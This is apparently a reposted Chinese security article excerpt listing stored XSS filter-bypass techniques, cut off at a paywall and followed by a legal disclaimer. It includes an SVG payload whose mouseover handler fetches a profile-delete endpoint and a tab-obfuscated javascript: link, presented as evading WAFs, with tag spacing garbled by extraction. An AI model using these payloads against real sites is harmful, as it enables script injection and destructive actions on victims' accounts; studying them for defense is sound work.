目录
过滤
-
HTML 过滤绕过
-
文件上传 XSS 绕过 -
基于 DOM 的存储型 XSS 绕过 -
CSP 绕过 -
高级 AngularJS 绕过 -
持久化隐蔽技巧
HTML 过滤绕过
过滤 <script>
标签
<!-- Most WAFs miss SVG event handlers --><svgxmlns="http://www.w3.org/2000/svg"width="100"height="100"><circlecx="50"cy="50"r="40"fill="red"onmouseover="fetch('/profile/delete')"/></svg>
过滤器通常允许用于图形的 SVG,但有时会忘记验证事件处理器如 onmouseover
。
javascript:
被过滤
可以尝试使用 :
小技巧:
<!-- Bypass colon filters in href/src --> <ahref="java	script:alert(1)">Click Me (Works in Chrome)</a>
真实案例:某CMS系统允许链接中使用 	
(URL编码的制表符)和 :
(HTML实体表示:
冒号)。
onerror
被过滤
大多数 WAF 会阻止 onerror
/ onload
但会经常忽略...
- 加入星球,畅快阅读 -
原文始发于微信公众号(骨哥说事):【星球专享】存储型 XSS 的若干绕过方法
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论